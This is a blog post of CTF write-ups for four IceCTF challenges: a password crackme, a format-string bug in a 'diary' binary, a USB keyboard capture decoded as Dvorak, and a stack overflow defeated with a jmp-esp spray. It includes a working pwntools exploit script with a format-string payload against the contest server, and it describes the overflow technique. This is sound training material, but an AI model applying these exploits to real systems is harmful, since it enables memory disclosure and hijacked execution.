Writeup – A Strong Feeling, So Close! Dear Diary, Intercepted Conversations pt1 (IceCTF)

Over the past two weeks, I participated in the IceCTF competition. This competition was broken down into four sections of increasing difficulty, the first three of which were made available early in the competition, and the fourth, towards the end. These challenges covered a healthy variety of fields, including binary exploitation, reverse engineering, stego and web.

This CTF also helpfully provided a Linux shell for participants. I think this is an excellent touch – well done to the organisers for using this creative solution to giving people access to tools.

Team farmingsimulator2015 was able to solve the majority of challenges in the first three sections, but did not progress significantly in the last section.

Without further ado, you can find some writeups below:

A Strong Feeling

Download here: a_strong_feeling

“A strong feeling” was presented as a password crackme. Initial inspection reveals a Linux binary, and a quick glance in IDA shows a somewhat annoying call graph:

a_strong_feeling_callgraph

My first reaction at this point was that all the little “decision boxes” up the tree were simple character comparisons: select the right character and proceed, otherwise, get a “nope” message. Further inspection of the bottom row of blocks quickly revealed I was incorrect:

a_strong_feeling_basic_blocks

Reviewing the disassembly a bit further, we quickly realize that rbp-98h stores a “switch”, which determines which path along the tree you take, and that the actual key check occurs in the basic blocks along the bottom row.

From here, the solution is simple – some of the basic blocks contain instructions such as:

cmp     edx, 'n'

Which, after inspecting a few of them for the “tell” characters (“IceCTF{“), is clearly a character-by-character check for the actual key.

From here, we simply breakpoint each of these instructions (easy to identify via visual inspection, there’s like 20 of them) and use gdb to step through the program and record the order in which they’re triggered:

a_strong_feeling_keycheck_simple

(Note that after each break, we reset edx to the “correct” value, to avoid having to run the application again and supply the correct value manually).

Half an hour of this, and we quickly reveal the key:

IceCTF{pip_install_angr}

(I’m pretty sure this method was faster than angr. Hell it’s faster than installing angr).

Dear Diary

Download here: dear_diary

“Dear Diary” is presented as a Linux executable, implementing a simple “diary” system, first reading a flag into memory, and then allowing a user to write notes and print them:

dear_diary_flag

There’s a super straightforward format string vulnerability, where any entry can be printed directly via printf – however, there’s a restriction that you can’t use “%n” to write back into the process memory space:

dear_diary_no_n

Fortunately, we can still read from arbitrary memory via %s and %x. From here. it’s a simple matter to load the correct offset into memory, and then read it out with %s:

#!/usr/bin/python

import pwn

# target is 0x8040A0A0

p = pwn.remote("diary.vuln.icec.tf",6501)
p.recvuntil(">")
p.sendline("1")
p.recvuntil("Tell me all your secrets: ")
p.sendline("\xA0\xA0\x04\x08%p.%p.%p.%p.%p.%p.%p.%p!%p.%p.%p.%p.%p.%p.%p.%p %p[%s]%p.%p.%p.%p.%p.%p!%p.%p.%p%p")
p.recvuntil(">")
p.sendline("2")
while True:
 print p.recv()
p.close()

For reference, the characters in red represent the offset we want to read from, and the

Here’s the exploit in action:

dear_diary_bye

Intercepted Conversations pt1

Download here: intercepted

Intercepted Conversations was presented as a USB pcap. The first step of attacking this problem is to identify the device in question. We can do this by inspecting descriptor strings which get passed to the system in response to GET_DESCRIPTOR requests:

intercepted_x

We then extract the data messages being sent by the keyboard using the tshark utility:

tshark -r "capture.pcapng" -T fields -e usb.capdata -Y "usb.data_len == 8" >> usbdata.txt

The extract looks like this:

00:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
20:00:00:00:00:00:00:00
20:00:0a:00:00:00:00:00
20:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:07:00:00:00:00:00

Noting that only the first and third bytes are used in each data packet, I made an assumption that each data packet held a keyboard scan code, and a status indicator for the shift key.

From here, we need to convert the keyboard “scan codes” (i.e. hardware inputs) into actual letters pressed. Oddly enough, the first few characters came out as follows:

GidIKY{

This was clearly the start of a flag. After going through a few possible simple cryptography schemes, a happy accident of fate led me to consider that the keyboard was being used as if it were a DVORAK keyboard.

Converting the output through a QWERTY<->DVORAK converter was enough to reveal the flag:

querty_convert

So Close!

Download here: so_close

The so_close challenge was presented as a Linux binary. Further inspection in IDA revealed the presence of a simple stack overflow in the completely_secure function.

Simple exploitation is hampered by a few unfortunate facts:

  • The “return” instruction is preceded by a “leave” instruction. Overwrite EBP, and you risk a segmentation fault.
  • You can control the application into returning into a part of your overflow space: but (thanks to the magic of ASLR) you can’t predict where. You need a way to reliably pivot execution back to your shellcode, which isn’t always at a fixed address.

In diagram form:

so_close_diagrams

The way I dealt with this is to perform a limited stack spray, using a “jmp esp” gadget and a “jmp here-8” shellcode (EB F6 CC CC): that way, as long as we returned to the stack at *any* of the “jmp esp” instructions, the gadget would trigger, returning to “jmp $-8”. This would lead to the next “jmp $-8” instruction, and so on, until it hit a final jump to the shellcode.

For clarity:

so_close_stack

A simple python script later,and we’re almost in business: the application simply crashes silently. It turned out to be an issue with our shellcode / Linux – to actually get shellcode to work, we need to keep stdin open, as follows:

so_close_fuckyou

Thanks to the IceCTF organisers for putting together a fantastic event. See you all in the Tokyo Westerns CTF and ASIS finals next week =]

About Norman

Sometimes, I write code. Occasionally, it even works.
This entry was posted in Computers, Jesting. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s